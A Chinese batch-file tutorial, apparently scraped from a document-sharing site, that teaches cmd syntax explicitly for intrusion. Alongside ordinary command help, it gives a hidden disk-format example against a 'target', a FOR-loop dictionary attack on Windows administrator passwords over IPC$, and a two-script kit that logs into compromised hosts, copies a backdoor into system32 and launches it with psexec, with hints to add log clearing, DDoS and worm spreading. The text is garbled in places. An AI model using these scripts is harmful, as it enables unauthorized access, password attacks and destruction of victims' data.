2022年批处理文件 .pdf

上传人:Q****o 文档编号:28519386 上传时间:2022-07-28 格式:PDF 页数:17 大小:132.97KB
返回 下载 相关 举报
2022年批处理文件 .pdf_第1页
第1页 / 共17页
2022年批处理文件 .pdf_第2页
第2页 / 共17页
点击查看更多>>
资源描述

《2022年批处理文件 .pdf》由会员分享,可在线阅读,更多相关《2022年批处理文件 .pdf(17页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。

1、如果没有一定的相关知识恐怕不容易看懂和理解批处理文件,也就更谈不上自己动手编写了批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd 。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe 按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。一.简单批处理内部命令简介1.Echo 命令打开回显或关闭请求

2、回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。语法echo on|off message Sample :echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用 )结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。2. 命令表示不显示 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。Sample :echo off echo Now initializing the program,please wait a minite. forma

3、t X: /q/u/autoset (format 这个命令是不可以使用/y 这个参数的,可喜的是微软留了个autoset 这个参数给我们,效果和/y 是一样的。 ) 3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。语法: goto label (label 是参数,指定所要转向的批处理程序中的行。)Sample :if %1 = goto noparms if %2 = goto noparms(如果这里的if、%1、%2 你不明白的话,先跳过去,后面会有详细的解释。)Rem check parameters if null show usage :noparms

4、 echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto 命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。4.Rem 命令注释命令, 在 C 语言中相当与 /*-*/, 它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。Rem Message Sample :Rem Here is the description. 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - -

5、 - - - - - - - - - 名师精心整理 - - - - - - - 第 1 页,共 17 页 - - - - - - - - - 5.Pause 命令运行 Pause 命令时,将显示下面的消息:Press any key to continue . . . Sample :echo off :begin copy a:*.* d :back echo Please put a new disk into driver A pause goto begin 在这个例子中, 驱动器A 中磁盘上的所有文件均复制到d:back 中。显示的注释提示您将另一张磁盘放入驱动器A 时, pause

6、 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用Call ,它将不会在命令行起作用语法call Drive:Path FileName BatchParameters :label arguments 参数Drive: Path FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。7.start 命令调用外部程序,所有的DOS 命令和命令行程序都可以由start 命令来调用。

7、入侵常用参数:MIN 开始时窗口最小化SEPARATE 在分开的空间内开始16 位 Windows 程序HIGH 在 HIGH 优先级类别开始应用程序REALTIME 在 REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是32-位 GUI 应用程序时, CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。8.choice 命令choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数, c:后应写提示可输入的字符,之间无空格。它的返回码

8、为1234 如: choice /c:dme defrag,mem,end 将显示defrag,mem,endD,M,E? Sample :Sample.bat 的内容如下 : echo off choice /c:dme defrag,mem,end 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 2 页,共 17 页 - - - - - - - - - if errorlevel 3 goto defrag (应先判断数值最高的错误码)if errorlevel 2 goto m

9、em if errotlevel 1 goto end :defrag c:dosdefrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示defrag,mem,endD,M,E? 用户可选择d m e ,然后 if 语句将作出判断,d 表示执行标号为 defrag 的程序段, m 表示执行标号为mem 的程序段, e 表示执行标号为end 的程序段,每个程序段最后都以goto end将程序跳到end 标号处,然后程序将显示good bye ,文件结束。9.If 命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令。

10、有三种格式 : 1、if 参数 = 字符串 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如 if %1=a format a: if %1 = goto noparms if %2 = goto noparms 2、if exist 文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句如 if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如 if er

11、rorlevel 2 goto x2 DOS 程序运行时都会返回一个数字给DOS ,称为错误码errorlevel 或称返回码,常见的返回码为0、1。10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。在批处理文件中使用FOR 命令时,指定变量请使用%variable for %variable|%variable in (set) do command CommandLineOptions %variable 指定一个单一字母可替换的参数。(set) 指定一个或一组文件。可以使用通配符。command 指定对每个文件执行的命令。名师资料总结 - - -

12、精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 3 页,共 17 页 - - - - - - - - - command-parameters 为特定命令指定参数或命令行开关。在批处理文件中使用FOR 命令时,指定变量请使用%variable 而不要用%variable 。变量名称是区分大小写的,所以%i 不同于%I 如果命令扩展名被启用,下列额外的FOR 命令格式会受到支持 : FOR /D %variable IN (set) DO command command-parameters 如果集中包含通配

13、符,则指定与目录名匹配,而不与文件名匹配。FOR /R drive:path %variable IN (set) DO command command- 检查以drive:path 为根的目录树,指向每个目录中的FOR 语句。如果在/R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。FOR /L %variable IN (start,step,end) DO command command-para 该集表示以增量形式从开始到结束的一个数字序列。因此, (1,1,5) 将产生序列1 2 3 4 5 ,(5,-1,1) 将产生序列 (5 4 3 2 1) 。F

14、OR /F options %variable IN (file-set) DO command FOR /F options %variable IN (string) DO command FOR /F options %variable IN (command) DO command 或者,如果有usebackq 选项 : FOR /F options %variable IN (file-set) DO command FOR /F options %variable IN (string) DO command FOR /F options %variable IN (command

15、) DO command filenameset 为一个或多个文件名。继续到filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选options 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为: eol=c - 指一个行注释字符的结尾(就一个 ) 名师资料总结 - - -精品资料欢迎下载 - - - - - - -

16、 - - - - - - - - - - - 名师精心整理 - - - - - - - 第 4 页,共 17 页 - - - - - - - - - skip=n - 指在文件开始时忽略的行数delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过nth 符号指定m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引

17、号字符为文字字符串命令并允许在fi 中使用双引号扩起文件名称。sample1: FOR /F eol=; tokens=2,3* delims=, %i in (myfile.txt) do command 会分析myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for 程序体;用逗号和/或空格定界符号。请注意,这个for 程序体的语句引用%i 来取得第二个符号,引用%j 来取得第三个符号,引用%k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用usebackq 选项,否则

18、,双引号会被理解成是用作定义某个要分析的字符串的。%i 专门在for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过tokens= 一行指定最多26 个符号,只要不试图说明一个高于字母z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有52 个以上都在使用中。您还可以在相邻字符串上使用FOR /F 分析逻辑;方法是,用单引号将括号之间的filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用FOR /F 命令来分析命令的输出。方法是,将括号之间的filenameset 变成一个反括字符串。该

19、字符串会被当作命令行,传递到一个子CMD.EXE ,其输出会被抓进内存,并被当作文件分析。因此,以下例子: FOR /F usebackq delims= %i IN (set) DO echo %i 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 5 页,共 17 页 - - - - - - - - - 会枚举当前环境中的环境变量名称。另外, FOR 变量参照的替换已被增强。您现在可以使用下列选项语法 : I - 删除任何引号 (),扩充%I %fI - 将 %I 扩充到一个完全合

20、格的路径名%dI - 仅将 %I 扩充到一个驱动器号%pI - 仅将 %I 扩充到一个路径%nI - 仅将 %I 扩充到一个文件名%xI - 仅将 %I 扩充到一个文件扩展名%sI - 扩充的路径只含有短名%aI - 将 %I 扩充到文件的文件属性%tI - 将 %I 扩充到文件的日期/时间%zI - 将 %I 扩充到文件的大小%$PATH:I - 查找列在路径环境变量的目录,并将%I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果: %dpI - 仅将%I 扩充到一个驱动器号和路径%nxI - 仅将%I 扩充到一个

21、文件名和扩展名%fsI - 仅将 %I 扩充到一个带有短名的完整路径名%dp$PATH:i - 查找列在路径环境变量的目录,并将%I 扩充到找到的第一个驱动器号和路径。%ftzaI - 将 %I 扩充到类似输出线路的DIR 在以上例子中, %I 和 PATH 可用其他有效数值代替。% 语用一个有效的FOR 变量名终止。选取类似%I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。以上是 MS 的官方帮助,下面我们举几个例子来具体说明一下For 命令在入侵中的用途。sample2 :利用 For 命令来实现对一台目标Win2k 主机的暴力密码破解。我们用 net use ipipc$ p

22、assword /u:administrator来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for /f i% in (dict.txt) do net use ipipc$ i% /u:administrator 用 i% 来表示 admin 的密码,在 dict.txt 中这个取 i%的值用 net use 命令来连接。然后将程序运行结果传递给 find 命令for /f i% in (dict.txt) do net use ipipc$ i% /u:administrator|find :命令成功完成 D:ok.txt ,这名师资料总结 - - -精品资料欢迎下载

23、 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 6 页,共 17 页 - - - - - - - - - 样就 ko 了。sample3 :你有没有过手里有大量肉鸡等着你去种后门木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:) 。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。主要命令也只有一条: (在批处理文件中使用FOR 命令时,指定变量使用%variable )for /f tokens=1,2,3 delims= %i in (victim.txt

24、) do start call door.bat %i %j %k tokens 的用法请参见上面的sample1 ,在这里它表示按顺序将victim.txt中的内容传递给door.bat 中的参数%i %j %k 。而 cultivate.bat无非就是用net use 命令来建立IPC$ 连接,并 copy 木马后门到victim ,然后用返回码 (If errorlever = )来筛选成功种植后门的主机,并echo 出来,或者echo 到指定的文件。delims= 表示 vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应

25、该根据%i %j %k表示的对象来排列,一般就是ip password username。代码雏形:- cut here then save as a batchfile(I call it main.bat ) - echo off if %1= goto usage for /f tokens=1,2,3 delims= %i in (victim.txt) do start call IPChack.bat %i %j %k goto end :usage echo run this batch in dos modle.or just double-click it. :end - c

26、ut here then save as a batchfile(I call it main.bat ) - - cut here then save as a batchfile(I call it door.bat) - net use %1ipc$ %3 /u:%2 if errorlevel 1 goto failed echo Trying to establish the IPC$ connection OK copy windrv32.exe%1admin$system32 & if not errorlevel 1 echo IP %1 USER %2 PWD %3 ko.t

27、xt psexec %1 c:winntsystem32windrv32.exe psexec %1 net start windrv32 & if not errorlevel 1 echo %1 Backdoored ko.txt :failed echo Sorry can not connected to the victim. - cut here then save as a batchfile(I call it door.bat) - 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe ),PSexec.exe需放在统一目录下 .批处理内容尚可扩

28、展 ,例如 :加入清除日志 +DDOS的功能 ,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能 (蠕虫 ).此处不多做叙述,有兴趣的朋友可自行研究. 二.如何在批处理文件中使用参数名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 7 页,共 17 页 - - - - - - - - - 批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift 来移动,这种情况并不多见,我们就不考虑它了。sample1 :fomat.bat echo off if %1

29、=a format a: :format format a:/q/u/auotset echo please insert another disk to driver A. pause goto fomat 这个例子用于连续地格式化几张软盘,所以用的时候需在dos 窗口输入 fomat.bat a ,呵呵 ,好像有点画蛇添足了 _ sample2 :当我们要建立一个IPC$ 连接地时候总要输入一大串命令,弄不好就打错了, 所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。echo off net u

30、se 1%ipc$ 2% /u:3% 注意哦,这里PASSWORD是第二个参数。if errorlevel 1 echo connection failed 怎么样 ,使用参数还是比较简单的吧?你这么帅一定学会了_.No.3 三.如何使用组合命令(Compound Command) 1.& Usage :第一条命令& 第二条命令& 第三条命令 . 用这种方法可以同时执行多条命令,而不管命令是否执行成功Sample :C:dir z: & dir c:Ex4rch The system cannot find the path specified. Volume in drive C has n

31、o label. Volume Serial Number is 0078-59FB Directory of c:Ex4rc 2002-05-14 23:51 . 2002-05-14 23:51 . 2002-05-14 23:51 14 sometips.gif 2.& Usage :第一条命令& 第二条命令& 第三条命令 . 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 8 页,共 17 页 - - - - - - - - - 用这种方法可以同时执行多条命令,当碰到执行出错

32、的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;Sample :C:dir z: & dir c:Ex4rch The system cannot find the path specified. C:dir c:Ex4rch & dir z: Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:Ex4rch 2002-05-14 23:55 . 2002-05-14 23:55 . 2002-05-14 23:55 14 sometips.gif 1 File(s)

33、 14 bytes 2 Dir(s) 768,671,744 bytes free The system cannot find the path specified. 在做备份的时候可能会用到这种命令会比较简单,如:dir file:/192.168.0.1/database/backup.mdb & copy file:/192.168.0.1/database/backup.mdb E:backup 如果远程服务器上存在backup.mdb文件,就执行copy 命令,若不存在该文件则不执行copy 命令。这种用法可以替换IF exist 了 : )3.| Usage :第一条命令| 第二

34、条命令| 第三条命令 . 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;Sample :C:Ex4rchdir sometips.gif | del sometips.gif Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of C:Ex4rch 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 0 Dir(s) 768,696,320 bytes free 组合命令

35、使用的例子:名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 9 页,共 17 页 - - - - - - - - - sample :copy trojan.exe %1admin$system32 & if not errorlevel 1 echo IP %1 USER %2 PASS %3 victim.txt 四、管道命令的使用1.| 命令Usage :第一条命令| 第二条命令| 第三条命令 . 将第一条命令的结果作为第二条命令的参数来使用,记得在unix 中这种方式很常见。

36、sample :time /tD:IP .log netstat -n -p tcp|find :3389D:IP.log start Explore 看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的 IP。2.、输出重定向命令将一条命令或某个程序输出结果的重定向到特定文件中, 与 的区别在于, 会清除调原有文件中的内容后写入指定文件,而只会追加内容到指定文件中,而不会改动其中的内容。sample1 :echo hello worldc:hello.txt (stupid example?) sample2: 时下 DLL 木马盛行,我们

37、知道system32 是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL 马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE 和 DLL 文件作一个记录:运行 CMD- 转换目录到system32-dir *.exeexeback.txt & dir *.dlldllback.txt, 这样所有的 EXE 和 DLL 文件的名称都被分别记录到exeback.txt和 dllback.txt 中, 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL 木马了 . 这时我们用同样的命令将system32下的 EXE 和 DLL 文件记录到

38、另外的exeback1.txt和 dllback1.txt中,然后运行 : CMD-fc exeback.txt exeback1.txtdiff.txt & fc dllback.txt dllback1.txtdiff.txt.(用 FC 命令比较前后两次的DLL 和 EXE 文件 ,并将结果输入到diff.txt 中),这样我们就能发现一些多出来的DLL 和 EXE 文件 ,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL 木马光顾了。没有是最好,如果有的话也不要直接DEL 掉,先用 regsvr32 /u trojan.dll将后门 DLL 文件注销掉

39、 ,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。3.& 、& & 将一个句柄的输出写入到另一个句柄的输入中。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 10 页,共 17 页 - - - - - - - - - ECHO.BAT 这个就是消息。3、 GOTO GOTO 即为跳转的意思。在批处理中允许以:XXX来构建一个标号然后用GOTO :标号直接来执行标号后的命令。例:LABEL REM 上面就是名为LABEL 的标号。DIR C: DIR D:

40、 GOTO LABEL REM 以上程序跳转标号LABEL 处继续执行。4、CALL CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:批处理 2.BAT 内容如下:ECHO 这就是 2 的内容名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 12 页,共 17 页 - - - - - - - - - 批处理 1.BAT 内容如下:ECHO 这是 1 的内容CALL 2.BAT ECHO 1 和 2 的内容全部显示完成执行结果如下:

41、C:1.BAT 这是 1 的内容这就是 2 的内容1 和 2 的内容全部显示完成5、PAUSE PAUSE 停止系统命令的执行并显示下面的内容。例:C: PAUSE 请按任意键继续 . . . 6、 IF IF 条件判断语句,语法格式如下:IF NOT ERRORLEVEL number command IF NOT string1=string2 command IF NOT EXIST filename command 说明:NOT 将返回的结果取反值即如果没有 的意思。ERRORLEVEL 是命令执行完成后返回的退出值Number 退出值的数字取值范围0255 。判断时值的排列顺序应该又

42、大到小。返回的值大于或等于指定的值时条件成立。string1=string2 string1和 string2 都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是 2 个(绝对相等) ,条件想等后即执行后面的command EXIST filename 为文件或目录存在的意思。IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。例:1、 IF NOT ERRORLEVEL number command 检测命令执行完后的返回值做出判断。echo off dir z: rem 如果退出代码为1(不成功)就跳至标题1

43、 处执行IF ERRORLEVEL 1 goto 1 rem 如果退出 ?/ca FOR 命令中的变量FOR 命令中有一些变量,他们的用法许多新手朋友还不太了解,今天给大家讲解他们的用法! 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 13 页,共 17 页 - - - - - - - - - 先把 FOR 的变量全部列出来: I - 删除任何引号 (),扩展%I %fI - 将 %I 扩展到一个完全合格的路径名%dI - 仅将 %I 扩展到一个驱动器号%pI - 仅将 %I 扩展

44、到一个路径%nI - 仅将 %I 扩展到一个文件名%xI - 仅将 %I 扩展到一个文件扩展名%sI - 扩展的路径只含有短名%aI - 将 %I 扩展到文件的文件属性%tI - 将 %I 扩展到文件的日期/时间%zI - 将 %I 扩展到文件的大小%$PATH:I - 查找列在路径环境变量的目录,并将%I 扩展到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩展到空字符串我们可以看到每行都有一个大写字母I,这个 I 其实就是我们在FOR 带入的变量 ,我们 FOR 语句代入的变量名是什么 ,这里就写什么 . 比如 :FOR /F %z IN (set) DO

45、 echo %z 这里我们代入的变量名是z 那么我们就要把那个I 改成 z,例如%fI 改为 %fz 至于前面的 %p 这样的内容就是语法了! 好开始讲解 : I - 删除任何引号 (),扩展%I 这个变量的作用就如他的说明,删除引号 ! 我们来看这个例子: 首先我们在桌面建立一个名字为temp.txt 文本文件 ,在里面输入这些内容1111 2222 3333 4444 然后在建立个BAT 文件代码如下 : FOR /F delims= %i IN (temp.txt) DO echo %i pause 执行后 ,我们看 CMD 的回显如下 : 1111 2222 3333 名师资料总结 -

46、 - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 14 页,共 17 页 - - - - - - - - - 4444 和之前temp.txt中的内容对比一下,我们会发现第一行和第三行的引号都消失了,这就是删除引号i 的作用了! 删除引号规则如下(BAT 兄补充 !) 1、若字符串首尾同时存在引号,则删除首尾的引号;2、若字符串尾不存在引号,则删除字符串首的引号;3、如果字符串中间存在引号,或者只在尾部存在引号,则不删除。%fI - 将 %I 扩展到一个完全合格的路径名看例子 : 把代码保存放在随便哪

47、个地方,我这里就放桌面吧. FOR /F delims= %i IN (dir /b) DO echo %fi pause 执行后显示内容如下桌面 test.bat 桌面 test.vbs 当我把代码中的%fi 直接改成 %i FOR /F delims= %i IN (dir /b) DO echo %i pause 执行后就会显示这些内容test.bat test.vbs 通过对比 ,我们很容易就看出没有路径了,这就是 将 %I 扩展到一个完全合格的路径名的作用也就是如果 %i 变量的内容是一个文件名的话,他就会把这个文件所在的绝对路径打印出来,而不只单单打印一个文件名,自己动手动实验下就

48、知道了! %dI - 仅将 %I 扩展到一个驱动器号看例子 : 代码如下 ,我还是放到桌面执行! FOR /F delims= %i IN (dir /b) DO echo %di pause 执行后我 CMD 里显示如下C: C: 我桌面就两个文件test.bat,test.vbs,%di作用是 ,如果变量 %i 的内容是一个文件或者目录名,他就会把他这文件或者目录所在的盘符号打印出来! 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 15 页,共 17 页 - - - - - -

49、 - - - %pI - 仅将 %I 扩展到一个路径这个用法和上面一样,他只打印路径不打印文件名字FOR /F delims= %i IN (dir /b) DO echo %pi pause 我就不打结果了 ,大家自己复制代码看结果吧,下面几个都是这么个用法,代码给出来 ,大家自己看结果吧! %nI - 仅将 %I 扩展到一个文件名只打印文件名字FOR /F delims= %i IN (dir /b) DO echo %ni pause %xI - 仅将 %I 扩展到一个文件扩展名只打印文件的扩展名FOR /F delims= %i IN (dir /b) DO echo %xi paus

50、e %sI - 扩展的路径只含有短名打印绝对短文件名FOR /F delims= %i IN (dir /b) DO echo %si pause %aI - 将 %I 扩展到文件的文件属性打印文件的属性FOR /F delims= %i IN (dir /b) DO echo %ai pause %tI - 将 %I 扩展到文件的日期/时间打印文件建立的日期FOR /F delims= %i IN (dir /b) DO echo %ti pause %zI - 将 %I 扩展到文件的大小打印文件的大小FOR /F delims= %i IN (dir /b) DO echo %zi pau

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 技术资料 > 技术总结

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知淘文阁网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号© 2020-2023 www.taowenge.com 淘文阁